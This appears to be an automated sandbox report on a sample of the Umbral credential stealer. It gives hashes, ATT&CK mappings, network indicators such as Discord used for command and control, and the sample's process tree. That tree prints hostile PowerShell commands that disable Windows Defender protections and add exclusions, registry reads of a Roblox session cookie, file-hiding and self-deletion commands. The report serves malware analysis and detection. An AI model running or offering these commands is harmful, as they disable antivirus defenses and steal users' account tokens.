umbral | 8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27

Analysis

max time kernel
93s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-01-2025 06:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe
Size

231KB
MD5

729cf3dc131a564c3384ec6a3cf387ce
SHA1

3401e42954a2c5de84d2c32ab97e69db54144bd1
SHA256

8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27
SHA512

9bdf9ac4ace3dbef33adaff6db5e5a157f1f7967613c88b26e51e5c7032b20018007bbc6726812482e2dcf8c8ef8f0a62eb779efe4cf0e893f215faab70bf351
SSDEEP

6144:RloZM+rIkd8g+EtXHkv/iD4+Qz/jpaC93op7mGz2tb8e1moJboi:joZtL+EP8+Qz/jpaC93op7mGz6zbR

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/2612-1-0x000001EB073B0000-0x000001EB073F0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1736	powershell.exe
228	powershell.exe
2280	powershell.exe
1892	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	discord.com
22	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1988	PING.EXE
4168	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
916	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1988	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe
1736	powershell.exe
1736	powershell.exe
228	powershell.exe
228	powershell.exe
2280	powershell.exe
2280	powershell.exe
4364	powershell.exe
4364	powershell.exe
1892	powershell.exe
1892	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe
Token: SeIncreaseQuotaPrivilege	3516	wmic.exe
Token: SeSecurityPrivilege	3516	wmic.exe
Token: SeTakeOwnershipPrivilege	3516	wmic.exe
Token: SeLoadDriverPrivilege	3516	wmic.exe
Token: SeSystemProfilePrivilege	3516	wmic.exe
Token: SeSystemtimePrivilege	3516	wmic.exe
Token: SeProfSingleProcessPrivilege	3516	wmic.exe
Token: SeIncBasePriorityPrivilege	3516	wmic.exe
Token: SeCreatePagefilePrivilege	3516	wmic.exe
Token: SeBackupPrivilege	3516	wmic.exe
Token: SeRestorePrivilege	3516	wmic.exe
Token: SeShutdownPrivilege	3516	wmic.exe
Token: SeDebugPrivilege	3516	wmic.exe
Token: SeSystemEnvironmentPrivilege	3516	wmic.exe
Token: SeRemoteShutdownPrivilege	3516	wmic.exe
Token: SeUndockPrivilege	3516	wmic.exe
Token: SeManageVolumePrivilege	3516	wmic.exe
Token: 33	3516	wmic.exe
Token: 34	3516	wmic.exe
Token: 35	3516	wmic.exe
Token: 36	3516	wmic.exe
Token: SeIncreaseQuotaPrivilege	3516	wmic.exe
Token: SeSecurityPrivilege	3516	wmic.exe
Token: SeTakeOwnershipPrivilege	3516	wmic.exe
Token: SeLoadDriverPrivilege	3516	wmic.exe
Token: SeSystemProfilePrivilege	3516	wmic.exe
Token: SeSystemtimePrivilege	3516	wmic.exe
Token: SeProfSingleProcessPrivilege	3516	wmic.exe
Token: SeIncBasePriorityPrivilege	3516	wmic.exe
Token: SeCreatePagefilePrivilege	3516	wmic.exe
Token: SeBackupPrivilege	3516	wmic.exe
Token: SeRestorePrivilege	3516	wmic.exe
Token: SeShutdownPrivilege	3516	wmic.exe
Token: SeDebugPrivilege	3516	wmic.exe
Token: SeSystemEnvironmentPrivilege	3516	wmic.exe
Token: SeRemoteShutdownPrivilege	3516	wmic.exe
Token: SeUndockPrivilege	3516	wmic.exe
Token: SeManageVolumePrivilege	3516	wmic.exe
Token: 33	3516	wmic.exe
Token: 34	3516	wmic.exe
Token: 35	3516	wmic.exe
Token: 36	3516	wmic.exe
Token: SeDebugPrivilege	1736	powershell.exe
Token: SeDebugPrivilege	228	powershell.exe
Token: SeDebugPrivilege	2280	powershell.exe
Token: SeDebugPrivilege	4364	powershell.exe
Token: SeIncreaseQuotaPrivilege	4484	wmic.exe
Token: SeSecurityPrivilege	4484	wmic.exe
Token: SeTakeOwnershipPrivilege	4484	wmic.exe
Token: SeLoadDriverPrivilege	4484	wmic.exe
Token: SeSystemProfilePrivilege	4484	wmic.exe
Token: SeSystemtimePrivilege	4484	wmic.exe
Token: SeProfSingleProcessPrivilege	4484	wmic.exe
Token: SeIncBasePriorityPrivilege	4484	wmic.exe
Token: SeCreatePagefilePrivilege	4484	wmic.exe
Token: SeBackupPrivilege	4484	wmic.exe
Token: SeRestorePrivilege	4484	wmic.exe
Token: SeShutdownPrivilege	4484	wmic.exe
Token: SeDebugPrivilege	4484	wmic.exe
Token: SeSystemEnvironmentPrivilege	4484	wmic.exe
Token: SeRemoteShutdownPrivilege	4484	wmic.exe
Token: SeUndockPrivilege	4484	wmic.exe
Token: SeManageVolumePrivilege	4484	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2612 wrote to memory of 3516	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	82
PID 2612 wrote to memory of 3516	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	82
PID 2612 wrote to memory of 4140	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	85
PID 2612 wrote to memory of 4140	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	85
PID 2612 wrote to memory of 1736	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	87
PID 2612 wrote to memory of 1736	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	87
PID 2612 wrote to memory of 228	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	89
PID 2612 wrote to memory of 228	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	89
PID 2612 wrote to memory of 2280	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	91
PID 2612 wrote to memory of 2280	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	91
PID 2612 wrote to memory of 4364	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	93
PID 2612 wrote to memory of 4364	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	93
PID 2612 wrote to memory of 4484	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	95
PID 2612 wrote to memory of 4484	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	95
PID 2612 wrote to memory of 1220	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	97
PID 2612 wrote to memory of 1220	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	97
PID 2612 wrote to memory of 3632	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	99
PID 2612 wrote to memory of 3632	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	99
PID 2612 wrote to memory of 1892	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	101
PID 2612 wrote to memory of 1892	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	101
PID 2612 wrote to memory of 916	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	103
PID 2612 wrote to memory of 916	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	103
PID 2612 wrote to memory of 4168	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	105
PID 2612 wrote to memory of 4168	2612	8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe	105
PID 4168 wrote to memory of 1988	4168	cmd.exe	107
PID 4168 wrote to memory of 1988	4168	cmd.exe	107

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4140	attrib.exe

C:\Users\Admin\AppData\Local\Temp\8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe
"C:\Users\Admin\AppData\Local\Temp\8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2612
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3516
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe"
  2⤵
  - Views/modifies file attributes
  PID:4140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4364
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4484
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1220
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1892
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:916
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\8d2343458799f4942026ffb7dfd107c11a056977226f0c3905c9a55b882f2a27.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4168
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
b0dc7c3718882fe730dbbc1b681bfc49

SHA1
03a9c793855b3fc4a82d48a70841ab547cfb9943

SHA256
05b199d4f0d7025646593db4f3d2a22a44e4e64438668d34ec6a3a31afe249bb

SHA512
c927720f5387ba226136b57bce9fb7f37917478d42a466aa9b175561bb5aae6837f82b3b45a3b285460cecffd40742302ce607c58dea83b8a8704eef783c9601

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6f28ee8df4bdf5490a8b5ebe7d6b89cf

SHA1
6fd0961c27a4fe119bfe43e86410917f5dc2e2e9

SHA256
6f64379097ea161522d22814fc0a69c0e337950826377712adceaa67d0baae51

SHA512
416a3977862dade1534e04f2e2e8f8c7bb794c8e2313ff104a53b622b959bd5a28e8c4346bd703f0eb1c40dc4ffc7c7c5d74c5c5d138089c1fdde9dadd5051f7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ec79fae4e7c09310ebf4f2d85a33a638

SHA1
f2bdd995b12e65e7ed437d228f22223b59e76efb

SHA256
e9c4723a5fe34e081c3d2f548a1d472394cc7aa58056fcf44ca542061381243a

SHA512
af9dda12f6bb388d826fe03a4a8beed9bda23a978aa55a2af6a43271660ee896a7ee3bcf2c4d2f1e6180902791d8c23560f1c2ec097a501d8c6f4f6c49075625

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rjzqlbfu.uys.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1736-5-0x0000013C784F0000-0x0000013C78512000-memory.dmp

Filesize
136KB

Download
memory/1736-4-0x00007FFDBE8A0000-0x00007FFDBF361000-memory.dmp

Filesize
10.8MB

Download
memory/1736-15-0x00007FFDBE8A0000-0x00007FFDBF361000-memory.dmp

Filesize
10.8MB

Download
memory/1736-18-0x00007FFDBE8A0000-0x00007FFDBF361000-memory.dmp

Filesize
10.8MB

Download
memory/1736-3-0x00007FFDBE8A0000-0x00007FFDBF361000-memory.dmp

Filesize
10.8MB

Download
memory/2612-34-0x000001EB09190000-0x000001EB091E0000-memory.dmp

Filesize
320KB

Download
memory/2612-33-0x000001EB21B40000-0x000001EB21BB6000-memory.dmp

Filesize
472KB

Download
memory/2612-35-0x000001EB21C50000-0x000001EB21C6E000-memory.dmp

Filesize
120KB

Download
memory/2612-1-0x000001EB073B0000-0x000001EB073F0000-memory.dmp

Filesize
256KB

Download
memory/2612-0-0x00007FFDBE8A3000-0x00007FFDBE8A5000-memory.dmp

Filesize
8KB

Download
memory/2612-72-0x000001EB09200000-0x000001EB0920A000-memory.dmp

Filesize
40KB

Download
memory/2612-73-0x000001EB21BC0000-0x000001EB21BD2000-memory.dmp

Filesize
72KB

Download
memory/2612-2-0x00007FFDBE8A0000-0x00007FFDBF361000-memory.dmp

Filesize
10.8MB

Download
memory/2612-93-0x00007FFDBE8A0000-0x00007FFDBF361000-memory.dmp

Filesize
10.8MB

Download